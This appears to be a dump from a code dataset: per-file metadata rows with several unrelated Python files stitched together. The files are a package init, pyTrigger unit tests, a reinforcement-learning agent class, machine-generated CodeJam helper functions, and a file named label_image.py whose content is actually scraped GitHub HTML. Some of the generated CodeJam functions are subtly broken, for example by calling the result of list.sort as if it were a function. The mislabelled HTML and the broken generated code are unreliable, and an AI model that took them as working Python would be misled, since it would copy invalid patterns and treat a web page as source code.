] | 1 | 2021-01-30T00:01:44.000Z | 2021-01-30T00:01:44.000Z | surfaceChange/__init__.py | SmithB/surfaceChange | 28f2a485203ef1bba95ff8dee48958b8c2dcf63f | [
"MIT"
] | 2 | 2021-01-11T18:43:14.000Z | 2021-06-21T22:32:43.000Z | surfaceChange/__init__.py | SmithB/surfaceChange | 28f2a485203ef1bba95ff8dee48958b8c2dcf63f | [
"MIT"
] | 7 | 2020-08-19T22:26:48.000Z | 2021-12-05T23:11:02.000Z | from .ATL11_to_ATL15 import *
from .ATL14_write import *
from .ATL15_write import *
from .reread_data_from_fits import *
| 24.2 | 36 | 0.801653 | 19 | 121 | 4.736842 | 0.526316 | 0.333333 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07619 | 0.132231 | 121 | 4 | 37 | 30.25 | 0.780952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
152b52ecd71410076b563b725ce7fea306852616 | 7,501 | py | Python | tests/test_pyTrigger.py | ladisk/pyTrigger | 4bb36bdd6f1521565ec6c9d9ad828276c0a4792c | [
"MIT"
] | null | null | null | tests/test_pyTrigger.py | ladisk/pyTrigger | 4bb36bdd6f1521565ec6c9d9ad828276c0a4792c | [
"MIT"
] | null | null | null | tests/test_pyTrigger.py | ladisk/pyTrigger | 4bb36bdd6f1521565ec6c9d9ad828276c0a4792c | [
"MIT"
] | null | null | null | """
Unit test for lvm_read.py
"""
import os
import sys
import numpy as np
import pytest
my_path = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, my_path + '/../')
from pyTrigger import pyTrigger
def test_trigger_at_first_data():
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=1, presamples=2)
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(np.arange(4).reshape(2, 2)) == False
assert pt.triggered == True
assert pt.rows_left == 2
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == True
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
with pytest.raises(Exception):
pt.add_data(-np.arange(4).reshape(2, 2))
data = np.array([[0., 0.],
[0., 1.],
[2., 3.],
[0., -1.],
[-2., -3.]])
np.testing.assert_array_equal(data, pt.get_data())
def test_trigger_at_first_data_one_chunk():
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=1, presamples=2)
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
pt.add_data(np.arange(8).reshape(4, 2))
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
data = np.array([[0., 0.],
[0., 1.],
[2., 3.],
[4., 5.],
[6., 7.]])
np.testing.assert_array_equal(data, pt.get_data())
def test_trigger_up():
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=1,
trigger_type='up', presamples=2)
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == False
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == False
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(np.arange(4).reshape(2, 2)) == False
assert pt.triggered == True
assert pt.rows_left == 2
assert pt.finished == False
assert pt.add_data(np.arange(4).reshape(2, 2)) == True
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
data = np.array([[-2., -3.],
[0., 1.],
[2., 3.],
[0., 1.],
[2., 3.]])
np.testing.assert_array_equal(data, pt.get_data())
def test_trigger_down():
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=-1,
trigger_type='down', presamples=2)
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(np.arange(4).reshape(2, 2)) == False
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(np.arange(4).reshape(2, 2)) == False
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == False
assert pt.triggered == True
assert pt.rows_left == 2
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == True
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
data = np.array([[2., 3.],
[0., -1.],
[-2., -3.],
[0., -1.],
[-2., -3.]])
np.testing.assert_array_equal(data, pt.get_data())
def test_trigger_abs():
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=1,
trigger_type='abs', presamples=2)
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(0 * np.arange(4).reshape(2, 2)) == False
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == False
assert pt.triggered == True
assert pt.rows_left == 2
assert pt.finished == False
assert pt.add_data(-np.arange(4).reshape(2, 2)) == True
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
data = np.array([[0., 0.],
[0., -1.],
[-2., -3.],
[0., -1.],
[-2., -3.]])
np.testing.assert_array_equal(data, pt.get_data())
def test_add_long_data():
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=1, presamples=2)
assert pt.triggered == False
assert pt.rows_left == 5
assert pt.finished == False
# with pytest.raises(Exception):
pt.add_data(np.arange(12).reshape(6, 2))
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
data = np.array([[0., 0.],
[0., 1.],
[2., 3.],
[4., 5.],
[6., 7.]])
np.testing.assert_array_equal(data, pt.get_data())
def test_add_long_data2():
data = np.array([[0., 0.],
[0., 1.],
[2., 3.],
[4., 5.],
[6., 7.],
[2., 3.],
[4., 5.],
[6., 7.],
[4., 5.],
[6., 7.]])
pt = pyTrigger(rows=6, channels=2, trigger_channel=0, trigger_level=5, presamples=2)
pt.add_data(data)
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
np.testing.assert_array_equal(data[2:8], pt.get_data())
def test_add_long_data3():
data = np.array([[0., 0.],
[0., 1.],
[2., 3.],
[4., 5.],
[-6., 7.],
[2., 3.],
[4., 5.],
[6., 7.],
[4., 5.],
[6., 7.]])
pt = pyTrigger(rows=6, channels=2, trigger_channel=0, trigger_level=-5, presamples=2, trigger_type='down')
pt.add_data(data)
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
np.testing.assert_array_equal(data[2:8], pt.get_data())
def test_add_long_data():
up_to = 10
data = np.arange(6*up_to).reshape((-1,2))
test_data = np.arange(start=-4, stop=6*up_to).reshape((-1,2))
test_data[:2,:] = np.zeros((2,2), dtype=float)
# changing trigger level
for i in range(up_to):
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=2*i-0.1, presamples=2)
pt.add_data(data)
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
np.testing.assert_array_equal(test_data[i:i+5], pt.get_data())
# changing data
for i in range(up_to):
pt = pyTrigger(rows=5, channels=2, trigger_channel=0, trigger_level=20, presamples=2)
pt.add_data(data[i:])
assert pt.triggered == True
assert pt.rows_left == 0
assert pt.finished == True
np.testing.assert_array_equal(test_data[11:11+5], pt.get_data())
if __name__ == '__mains__':
np.testing.run_module_suite()
| 33.044053 | 110 | 0.549393 | 1,042 | 7,501 | 3.808061 | 0.082534 | 0.177419 | 0.108115 | 0.100806 | 0.905746 | 0.901462 | 0.887349 | 0.887349 | 0.875252 | 0.851563 | 0 | 0.04798 | 0.297027 | 7,501 | 226 | 111 | 33.190265 | 0.704533 | 0.012932 | 0 | 0.787565 | 0 | 0 | 0.003516 | 0 | 0 | 0 | 0 | 0 | 0.507772 | 1 | 0.046632 | false | 0 | 0.025907 | 0 | 0.072539 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ecaedb10fbfd7cbb74fe463e4d92de42f3803f13 | 7,074 | py | Python | policy/agent.py | epochlab/rl | d55ee05305366e2bf42d788eca5dbd9e9977f0f2 | [
"MIT"
] | null | null | null | policy/agent.py | epochlab/rl | d55ee05305366e2bf42d788eca5dbd9e9977f0f2 | [
"MIT"
] | null | null | null | policy/agent.py | epochlab/rl | d55ee05305366e2bf42d788eca5dbd9e9977f0f2 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import random
import numpy as np
import tensorflow as tf
from utils import capture, render_gif
class PolicyAgent:
def __init__(self, config, sandbox, env, action_space):
self.SANDBOX = sandbox
self.ENV = env
self.ACTION_SPACE = action_space
self.GAMMA = config['gamma']
self.STATE_SIZE = (config['window_length'], config['input_shape'][0], config['input_shape'][1])
self.action_history, self.state_history, self.reward_history = [], [], []
def act(self, state, model):
state_tensor = tf.convert_to_tensor(state)
state_tensor = tf.expand_dims(state_tensor, 0)
policy = model.predict(state_tensor)[0]
action = np.random.choice(self.ACTION_SPACE, p=policy)
return action
def push(self, state, action_idx, reward):
action = np.zeros([self.ACTION_SPACE])
action[action_idx] = 1
self.action_history.append(action)
self.state_history.append(np.expand_dims(state, axis=0))
self.reward_history.append(reward)
def discount_rewards(self):
sum_reward = 0
discounted_r = np.zeros_like(self.reward_history)
for i in reversed(range(0,len(self.reward_history))):
if self.reward_history[i] != 0:
sum_reward = 0
sum_reward = sum_reward * self.GAMMA + self.reward_history[i]
discounted_r[i] = sum_reward
discounted_r -= np.mean(discounted_r)
discounted_r /= np.std(discounted_r)
return discounted_r
def learn_policy(self, model):
actions = np.vstack(self.action_history)
states = np.vstack(self.state_history)
discounted_r = self.discount_rewards()
history = model.fit(states, actions, sample_weight=discounted_r, epochs=1, verbose=0)
self.action_history, self.state_history, self.reward_history = [], [], []
return history.history['loss'][0]
def learn_a2c(self, actor, critic):
states = np.vstack(self.state_history)
actions = np.vstack(self.action_history)
values = critic.predict(states)[:, 0]
discounted_r = self.discount_rewards()
advantages = discounted_r - values
actor_history = actor.fit(states, actions, sample_weight=advantages, epochs=1, verbose=0)
critic_history = critic.fit(states, discounted_r, epochs=1, verbose=0)
self.action_history, self.state_history, self.reward_history = [], [], []
return actor_history.history['loss'][0], critic_history.history['loss'][0]
def evaluate(self, model, log_dir, episode_id):
terminal, state, info = self.SANDBOX.reset(self.ENV)
prev_info = info
frames = []
episode_reward = 0
while not terminal:
frames = capture(self.ENV, self.SANDBOX, frames)
action = self.act(state, model)
state_next, reward, terminal, info = self.SANDBOX.step(self.ENV, action, prev_info)
prev_info = info
episode_reward += reward
state = state_next
if terminal:
break
render_gif(frames, log_dir + "/loop_" + str(episode_id) + "_" + str(episode_reward))
return episode_reward
def save(self, model, outdir):
model.save(outdir + '/model.h5')
class AsynchronousAgent:
def __init__(self, config, sandbox, env, action_space):
self.SANDBOX = sandbox
self.ENV = env
self.ACTION_SPACE = action_space
self.GAMMA = config['gamma']
self.STATE_SIZE = (config['window_length'], config['input_shape'][0], config['input_shape'][1])
def act(self, state, model):
state_tensor = tf.convert_to_tensor(state)
state_tensor = tf.expand_dims(state_tensor, 0)
policy = model.predict(state_tensor)[0]
action = np.random.choice(self.ACTION_SPACE, p=policy)
return action
def policy_act(self, state, model):
state_tensor = tf.convert_to_tensor(state)
state_tensor = tf.expand_dims(state_tensor, 0)
policy = model.predict(state_tensor)[0]
action = np.random.choice(self.ACTION_SPACE, p=policy)
return action, policy
def push(self, state, action_idx, reward):
action = np.zeros([self.ACTION_SPACE])
action[action_idx] = 1
self.action_history.append(action)
self.state_history.append(np.expand_dims(state, axis=0))
self.reward_history.append(reward)
def discount_rewards(self, reward):
sum_reward = 0
discounted_r = np.zeros_like(reward)
for i in reversed(range(0,len(reward))):
if reward[i] != 0:
sum_reward = 0
sum_reward = sum_reward * self.GAMMA + reward[i]
discounted_r[i] = sum_reward
discounted_r -= np.mean(discounted_r)
discounted_r /= np.std(discounted_r)
return discounted_r
def learn_a3c(self, actor, critic, actions, states, rewards):
actions = np.vstack(actions)
states = np.vstack(states)
values = critic.predict(states)[:, 0]
discounted_r = self.discount_rewards(rewards)
advantages = discounted_r - values
actor_history = actor.fit(states, actions, sample_weight=advantages, epochs=1, verbose=0)
critic_history = critic.fit(states, discounted_r, epochs=1, verbose=0)
a_loss = actor_history.history['loss'][0]
c_loss = critic_history.history['loss'][0]
return a_loss, c_loss
def learn_ppo(self, actor, critic, actions, states, rewards, predictions):
actions = np.vstack(actions)
states = np.vstack(states)
predictions = np.vstack(predictions)
discounted_r = np.vstack(self.discount_rewards(rewards))
values = critic.predict(states)
advantages = discounted_r - values
y_true = np.hstack([advantages, predictions, actions])
actor_history = actor.fit(states, y_true, epochs=10, shuffle=True, batch_size=len(rewards), verbose=0)
critic_history = critic.fit(states, discounted_r, epochs=10, shuffle=True, batch_size=len(rewards), verbose=0)
a_loss = actor_history.history['loss'][0]
c_loss = critic_history.history['loss'][0]
return a_loss, c_loss
def evaluate(self, model, log_dir, episode_id):
terminal, state, info = self.SANDBOX.reset(self.ENV)
prev_info = info
frames = []
episode_reward = 0
while not terminal:
frames = capture(self.ENV, self.SANDBOX, frames)
action = self.act(state, model)
state_next, reward, terminal, info = self.SANDBOX.step(self.ENV, action, prev_info)
prev_info = info
episode_reward += reward
state = state_next
if terminal:
break
render_gif(frames, log_dir + "/loop_" + str(episode_id) + "_" + str(episode_reward))
return episode_reward
def save(self, model, outdir):
model.save(outdir + '/model.h5')
| 35.37 | 118 | 0.63698 | 889 | 7,074 | 4.860517 | 0.129359 | 0.063643 | 0.035408 | 0.03078 | 0.886369 | 0.850498 | 0.805601 | 0.794955 | 0.760704 | 0.749132 | 0 | 0.010216 | 0.252757 | 7,074 | 199 | 119 | 35.547739 | 0.807227 | 0.002969 | 0 | 0.783784 | 0 | 0 | 0.019853 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.114865 | false | 0 | 0.027027 | 0 | 0.22973 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ecdbea0ce08466c824578c20e9488347481ec130 | 8,072 | py | Python | projects/src/main/python/CodeJam/Y12R5P1/kelvinlau/generated_py_05979e8b43494916af402ce6eb428536.py | DynamicCodeSearch/CodeSeer | ee985ece7691691585952eb88565f0e08bdc9113 | [
"MIT"
] | 5 | 2020-04-05T18:04:13.000Z | 2021-04-13T20:34:19.000Z | projects/src/main/python/CodeJam/Y12R5P1/kelvinlau/generated_py_05979e8b43494916af402ce6eb428536.py | DynamicCodeSearch/CodeSeer | ee985ece7691691585952eb88565f0e08bdc9113 | [
"MIT"
] | 1 | 2020-04-29T21:42:26.000Z | 2020-05-01T23:45:45.000Z | projects/src/main/python/CodeJam/Y12R5P1/kelvinlau/generated_py_05979e8b43494916af402ce6eb428536.py | DynamicCodeSearch/CodeSeer | ee985ece7691691585952eb88565f0e08bdc9113 | [
"MIT"
] | 3 | 2020-01-27T16:02:14.000Z | 2021-02-08T13:25:15.000Z | import sys
sys.path.append('/home/george2/Raise/ProgramRepair/CodeSeer/projects/src/main/python')
from CodeJam.Y12R5P1.kelvinlau.A import *
def func_87caa8d11eaf4a20affa21f893f4cbfc(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
return l
def func_38404980cd9d4ebb8816600eb75132ef(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
return n
def func_d3dc1fc499a041b391d2a2cc0ecf55e0(infile):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
return p
def func_39c4fa9e21a84e8fa4eca4bb2cbc7225(infile):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
return l
def func_0055740904e64ebb93df874b64561c18(infile, n, l):
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return p
def func_44588f283db54e21808ace48d3c6fdcf(infile, n, l):
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return a
def func_b4578cbec34e4bd89610ca2a0828e518(p, n, l):
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return a
def func_c7ccf9ef618a45aaa76254dfc1a4236d(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
return l
def func_56dd741514d243218012eb1f399fa905(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
return n
def func_bd414dc83fc34c47a79d4495495cb9bc(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
return p
def func_a716090739ee414cb65c9a8106bad135(infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return l
def func_39cb2abe0f5943bea3d2188aa6c15123(infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return a
def func_82b03b65077c4e8c95f7f18001ee870f(infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return p
def func_758d479d2b3a48aab8cb63753761f251(infile, n, l):
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return a
def func_9e10b2268e564edca0fde13e06f16502(infile, n, l):
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return p
def func_f88948e2669342e48023ad734c48e399(t, p, n, l):
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return a
def func_290e798ac153494eaa51021d47671d47(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return p
def func_fb4a8190496141dfb083575b22c08248(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return l
def func_33dce28bb84a4a539b5a552605416c29(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return a
def func_569e73dd57434c99b47d206e753f31b2(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
return n
def func_be975da12a944ad7bdc27c11281086f4(infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return p
def func_ef0c7c81ca7842a9b643aa1ea69c58e4(infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return l
def func_7c5ae7337de646708a42eca115ddf5a8(infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return a
def func_0e9cdfaef47d4d07a46e498035e9c8ef(t, infile, n, l):
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return a
def func_3c9ceee25e5146f0b78ee81200ffb56d(t, infile, n, l):
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return p
def func_a992aae3335a488faed41e16e3e93ab7(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return p
def func_055876873de447cea03c195e86751e0a(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return n
def func_cfc24351e6ba48bcb4ecadbe78405af7(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return l
def func_99d4d561cb014cb08073fc6592d69426(infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])
return a
def func_4de152c6e12f4beeae295148f5044599(t, infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return l
def func_9927fd04156445129845c7869ff07cc0(t, infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return p
def func_7e490d6d30094ba4a33de6d4076c39c0(t, infile, n):
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return a
def func_458cf0175eb34db5ba4749c6cea76f11(t, infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return p
def func_4ca607214add474fb869c2191368410a(t, infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return n
def func_17e1dd7305144bc28dfa26439d330a7a(t, infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return l
def func_ec89833a814a487db2a053d16f0675dd(t, infile):
n = int(infile.readline())
l = map(int, infile.readline().split())
p = map(int, infile.readline().split())
a = zip(l, p, range(n))
a.sort(lambda x, y: x[0] * y[1] - x[1] * y[0])('Case #%d:' % t)
return a
def func_ab9d841a56444f9c90abeabf68d8d87d():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline())
return infile
def func_42d1c60928ca4720ba0d100c4bfa5f2b():
infile = open('codejam/test_files/Y12R5P1/A.in')
T = int(infile.readline())
return T
| 28.322807 | 86 | 0.613231 | 1,197 | 8,072 | 4.101921 | 0.068505 | 0.144807 | 0.273523 | 0.244399 | 0.719756 | 0.719756 | 0.719756 | 0.719756 | 0.719756 | 0.714868 | 0 | 0.134201 | 0.20057 | 8,072 | 284 | 87 | 28.422535 | 0.626685 | 0 | 0 | 0.794258 | 0 | 0 | 0.027131 | 0.015981 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.009569 | 0 | 0.373206 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ecefb28468143378bdc592f4033ffa104bb3cf9d | 161,172 | py | Python | label_image.py | venkatvarlet/Deep-Learning | 76095bffb747015ed40f65a445bd3baac366ebba | [
"Apache-2.0"
] | null | null | null | label_image.py | venkatvarlet/Deep-Learning | 76095bffb747015ed40f65a445bd3baac366ebba | [
"Apache-2.0"
] | null | null | null | label_image.py | venkatvarlet/Deep-Learning | 76095bffb747015ed40f65a445bd3baac366ebba | [
"Apache-2.0"
] | null | null | null |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="dns-prefetch" href="https://github.githubassets.com">
<link rel="dns-prefetch" href="https://avatars0.githubusercontent.com">
<link rel="dns-prefetch" href="https://avatars1.githubusercontent.com">
<link rel="dns-prefetch" href="https://avatars2.githubusercontent.com">
<link rel="dns-prefetch" href="https://avatars3.githubusercontent.com">
<link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com">
<link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
<link crossorigin="anonymous" media="all" integrity="sha512-lLo2nlsdl+bHLu6PGvC2j3wfP45RnK4wKQLiPnCDcuXfU38AiD+JCdMywnF3WbJC1jaxe3lAI6AM4uJuMFBLEw==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-08fc49d3bd2694c870ea23d0906f3610.css" />
<link crossorigin="anonymous" media="all" integrity="sha512-+ZQwBfJw0+vWamxjWgu2B3g58zCABOB1yRj/kGGVcZmXuZ6wTWkVwNWaOgy285h5vdw4VuUp57FjdiVujwnkHw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-b43e758c845fa54305d34a4b97d30922.css" />
<link crossorigin="anonymous" media="all" integrity="sha512-ZxaEEWiQJEbxmw5l2qa5RiTSfE+MEeiyeENIUVl7q10lwwbZYkkTn2U4oi9nfHBR2l61Z2jGk6bNhlDWs0hOzQ==" rel="stylesheet" href="https://github.githubassets.com/assets/site-75fa15c3c296527ccae21da9e3bca74f.css" />
<meta name="viewport" content="width=device-width">
<title>tensorflow/label_image.py at master · tensorflow/tensorflow · GitHub</title>
<meta name="description" content="An Open Source Machine Learning Framework for Everyone - tensorflow/tensorflow">
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
<link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
<meta property="fb:app_id" content="1401488693436528">
<meta property="og:image" content="https://avatars2.githubusercontent.com/u/15658638?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="tensorflow/tensorflow" /><meta property="og:url" content="https://github.com/tensorflow/tensorflow" /><meta property="og:description" content="An Open Source Machine Learning Framework for Everyone - tensorflow/tensorflow" />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="pjax-timeout" content="1000">
<meta name="request-id" content="DFCE:1807:316FF7:5E8AC5:5C2CCC45" data-pjax-transient>
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
<meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
<meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-request_id" content="DFCE:1807:316FF7:5E8AC5:5C2CCC45" /><meta name="octolytics-dimension-region_edge" content="iad" /><meta name="octolytics-dimension-region_render" content="iad" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/blob/show" data-pjax-transient="true" />
<meta name="google-analytics" content="UA-3769691-2">
<meta class="js-ga-set" name="dimension1" content="Logged Out">
<meta name="hostname" content="github.com">
<meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="js-proxy-site-detection-payload" content="NTc0ZGVkNjk0NDMyMTA3MjI4MGI3OWVmZTM0MTIxNjYwNmJmMTdlYTU5OTdiYjg5NDEzZjMxM2E5NTUyMWNlNnx7InJlbW90ZV9hZGRyZXNzIjoiMjcuNS4yNTAuMTQ2IiwicmVxdWVzdF9pZCI6IkRGQ0U6MTgwNzozMTZGRjc6NUU4QUM1OjVDMkNDQzQ1IiwidGltZXN0YW1wIjoxNTQ2NDM5NzU0LCJob3N0IjoiZ2l0aHViLmNvbSJ9">
<meta name="enabled-features" content="DASHBOARD_V2_LAYOUT_OPT_IN,EXPLORE_DISCOVER_REPOSITORIES,UNIVERSE_BANNER,MARKETPLACE_PLAN_RESTRICTION_EDITOR">
<meta name="html-safe-nonce" content="80e4bc6d5044f3217b8dd9514c6208bd6e01a020">
<meta http-equiv="x-pjax-version" content="dcf479d97247df77ce4929e5f45d2480">
<link href="https://github.com/tensorflow/tensorflow/commits/master.atom" rel="alternate" title="Recent Commits to tensorflow:master" type="application/atom+xml">
<meta name="go-import" content="github.com/tensorflow/tensorflow git https://github.com/tensorflow/tensorflow.git">
<meta name="octolytics-dimension-user_id" content="15658638" /><meta name="octolytics-dimension-user_login" content="tensorflow" /><meta name="octolytics-dimension-repository_id" content="45717250" /><meta name="octolytics-dimension-repository_nwo" content="tensorflow/tensorflow" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="45717250" /><meta name="octolytics-dimension-repository_network_root_nwo" content="tensorflow/tensorflow" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" />
<link rel="canonical" href="https://github.com/tensorflow/tensorflow/blob/master/tensorflow/examples/label_image/label_image.py" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
